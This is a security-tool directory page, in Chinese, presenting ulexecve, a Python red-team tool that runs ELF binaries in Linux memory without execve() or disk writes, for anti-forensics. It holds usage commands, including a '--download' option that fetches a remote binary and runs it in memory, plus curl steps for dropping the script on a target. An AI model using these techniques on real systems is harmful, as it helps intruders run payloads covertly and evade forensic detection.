Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ulexecve — 直接在Linux内存中执行任意ELF二进制文件,无需接触磁盘,通过单个Python脚本实现隐蔽的红队和反取证操作。 | Kitploit
工具/GitHubGitHub/anvilsecure/ulexecve
内存取证漏洞利用后渗透利用渗透测试实用工具与框架红队
GitHubanvilsecure/ulexecve

ulexecve

直接在Linux内存中执行任意ELF二进制文件,无需接触磁盘,通过单个Python脚本实现隐蔽的红队和反取证操作。

查看仓库
2142032年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
网站

快速开始

在不调用 execve() 的情况下执行动态或静态编译的 ELF Linux 二进制文件。

root@kitploit:~
cat /bin/echo | ulexecve - hello
hello

简介

这个 Python 工具名为 ulexecve,代表 用户态 execve。它帮助你在 Linux 系统上从用户态执行任意 ELF 二进制文件,而无需调用 execve() 系统调用。换句话说,你可以直接从内存中执行任意二进制文件,而无需将其写入存储。从反取证或红队渗透的角度来看,这非常有用,它使你能够更隐蔽地移动,同时仍然在目标机器上投放编译好的二进制文件。该工具在支持的 Linux 平台(x86、x86-64 和 aarch64)上支持 CPython 3.x 以及 CPython 2.7(可能更早版本)。支持静态和动态编译的 ELF 二进制文件。当然,总会有少量二进制文件可能无法工作或导致崩溃,对于这些情况,基于现代 memfd_create() 系统调用实现了一个 100% 可靠的回退方法。

背景

Linux 用户态 execve 工具的历史可以追溯到大约二十年前。最早关于此的详细文章由 the grugq 在 The Design and Implementation of Userland Exec [1] 以及 Phrack 62 [2] 中的另一篇文章中撰写。直接从内存中执行二进制文件的反取证技术相当标准。例如,Rapid7 的 mettle 有一个名为 libreflect 的库,其中包含一个工具 noexec,它也尝试仅通过反射执行 ELF。但是,这个工具是用 C 编写的,并且隐含要求你需要将 noexec 二进制文件传输到目标系统,并且能够执行该二进制文件。

在现代化的容器环境中,这显然并不总是可行的。然而,许多容器环境确实包含 Python 安装。能够通过 curl 等方式在目标机器上下载一个 Python 脚本,然后执行该脚本以隐蔽地执行任意二进制文件,从反取证的角度来看非常有用。

这也是该工具全部实现在一个文件中的原因。这应该使得在目标系统上下载它变得更容易,并且无需在运行之前担心安装任何其他依赖项。该工具已在 Python 2.7 上测试,尽管此 Python 版本已弃用。仍然有许多系统运行 2.x 版本,因此这很有用。

之前没有其他好的 Python 用户态 execve() 实现。有一个 SELF [3],但文档不详细,缺乏简单的调试选项,更重要的是根本不起作用。ulexecve 的实现是从头开始编写的。它解析 ELF 文件,加载并解析动态链接器(如果需要),将所有段映射到内存中,最终构建一个包含 CPU 指令的跳转缓冲区,以将控制权从 Python 进程直接转移到新加载的二进制文件。

所有常见的 ELF 解析逻辑、设置栈、映射 ELF 段以及设置跳转缓冲区都被抽象出来,因此移植到另一个 CPU 相当容易(大约需要几个小时)。移植到其他基于 ELF 的平台(例如 BSD)可能会更复杂,但仍然应该相当直接。有关如何进行的更多信息,请查看代码中的注释。

请注意,一个明确的设计目标是没有任何外部依赖项,并且所有内容都在单个源代码文件中实现。如果你需要制作更小的 payload,那么删除对某些 CPU 类型的支持或删除所有调试信息和其他选项应该是相当简单的。

安装

通过 pip 安装

尽管从反取证的角度来看这没什么意义,但该工具可以通过 pip 安装。

root@kitploit:~
pip install ulexecve
ulexecve --help

构建并安装为 Python 包

root@kitploit:~
python setup.py sdist
python -m pip install --upgrade dist/ulexecve-<version>.tar.gz
ulexecve --help

通过 curl 下载并运行

root@kitploit:~
curl -o ulexecve.py https://raw.githubusercontent.com/anvilsecure/ulexecve/docs/ulexecve.py
./ulexecve.py --help

用法

该工具完全支持静态和动态编译的可执行文件。只需将二进制文件的文件名传递给 ulexecve 以及你希望提供给该二进制文件的任何参数。环境将直接从你执行 ulexecve 的环境中复制过来。

root@kitploit:~
ulexecve /bin/ls -lha

如果你将文件名指定为 -,你可以让它从 stdin 读取二进制文件。

root@kitploit:~
cat /bin/ls | ulexecve - -lha

要下载一个二进制文件到内存并立即执行,可以使用 --download。这会将文件名参数解释为 URI。

root@kitploit:~
ulexecve --download http://host/binary

为了调试,有几个选项可用。如果发生崩溃,你可以通过 --debug 显示调试信息,通过 --show-stack 显示构建的栈,以及 --show-jumpbuf 显示生成的跳转缓冲区。--jump-delay 选项非常有用,如果你想要正确解析和映射 ELF,然后附加调试器以逐步执行跳转缓冲区和最终执行的二进制文件,以找到崩溃的原因。

root@kitploit:~
cat /bin/echo | ulexecve --debug --show-stack --show-jumpbuf - hello
...
PT_LOAD at offset 0x0002c520: flags=0x6, vaddr=0x2d520, filesz=0x1ad8, memsz=0x1c70
Loaded interpreter successfully
Stack allocated at: 0x7fddf630e000
vDSO loaded at 0x7ffd8952e000 (Auxv entry AT_SYSINFO_EHDR), AT_SYSINFO: 0x00000000
Auxv entries: HWCAP=0x00000002, HWCAP2=0x00000002, AT_CLKTCK=0x00000064
stack contents:
 argv
   00000000:   0x0000000000000002
   00000008:   0x00007fddf6312410
...
Generated mmap call (addr=0x00000000, length=0x00030000, prot=0x7, flags=0x22)
Generated memcpy call (dst=%r11 + 0x00000000, src=0x02534650, size=0x00000fc8)
Generated memcpy call (dst=%r11 + 0x0002d520, src=0x0253d720, size=0x00001ad8)
Generating jumpcode with entry_point=0x00001100 and stack=0x7fddf630e000
Jumpbuf with entry %r11+0x1100 and stack: 0x00007fddf630e000
Written jumpbuf to /tmp/tmphsiaygna.jumpbuf.bin (#592 bytes)
Executing: objdump -m i386:x86-64 -b binary -D /tmp/tmphsiaygna.jumpbuf.bin
...
245:   00 00 00
248:   4c 01 d9                add    %r11,%rcx
24b:   48 31 d2                xor    %rdx,%rdx
24e:   ff e1                   jmpq   *%rcx
...
Memmove(0x7fddf6f0e000, 0x0254d7f0, 0x00000250)
hello

始终有 --fallback 选项。它不如我们自己解析和映射用户态中的二进制文件那么隐蔽。回退方法使用 memfd_create() 和 fexecve(),但它应该 100% 可以用于执行任意的静态或动态二进制文件。当然,前提是提供的二进制文件是你所在平台的正确二进制文件。

局限性

显然,你总是可能遇到无法正确执行的二进制文件。然而,这个实现相当干净且经过良好测试(它包括针对静态和动态二进制文件、PIE 编译的可执行文件以及具有不同运行时(如 Rust 或 Go)的可执行文件的单元测试)。对于大多数工具和上述平台上的二进制文件,它应该能够胜任。但你的结果可能会有所不同。由安装打包器生成并嵌入其他信息的二进制文件可能无法正常工作,具体取决于它们使用的自引用技巧。然而,对于 PyInstaller 二进制文件,ulexecve 中添加了一个特定的回退。

PyInstaller 二进制文件

使用 PyInstaller 创建的二进制文件将无法直接工作。这些二进制文件需要一个附带的包文件,或者在大多数情况下,在 ELF 中嵌入额外的数据,这些数据在启动嵌入式 Python 解释器后用于解包和正常运行。这意味着它们无法正常工作。有几种方法可以绕过这个问题。一种简单的方法,可能在部分实际场景中有效,假设存在一个可写的临时文件系统。然后我们将二进制文件中的字符串 /proc/self/exe 替换为 /tmp/xxxx。之后,我们通过 memfd_create() 将二进制文件加载到内存中,然后将指向 /tmp/xxxx 的符号链接指向 /proc/<pid>/fd/<fd> 的内存文件。要尝试此选项,请使用 --pyi-fallback。如果你需要指定另一个临时目录,请使用 --tmpdir。请注意,包含 tmpdir 的最终路径必须与字符串 /proc/self/exe(14 字节)的字节数完全相同,因此更长的路径将无法工作。

root@kitploit:~
$ cat > h.py
print("hello")
$ pyinstaller -F -c h.py
...
$ cat ./tmp/dist/h  | ./ulexecve.py -
[5064] Cannot open PyInstaller archive from executable (/usr/bin/python2.7) or external archive (/usr/bin/python2.7.pkg)
$ cat ./tmp/dist/h  | ./ulexecve.py --pyi-fallback -
hello

移植

当移植到不同的平台时,请确保少量单元测试都能通过。只需在目标平台上运行包含的 ./test.py,并修复所有问题,直到所有这些测试再次成功。

错误、评论、建议

通过 github 提交 pull request,在问题跟踪器中发布问题,或直接发送电子邮件至 [email protected]。

参考文献

  1. "用户态 Exec 的设计与实现", 作者 the grugq.

  2. "FIST! FIST! FIST! 一切都来自手腕:远程执行", 作者 grugq, Phrack 62-0x08, 2004-07-13.

  3. Python 中 SELF 的实现, 作者 Maciej Kotowicz (mak).

下载工具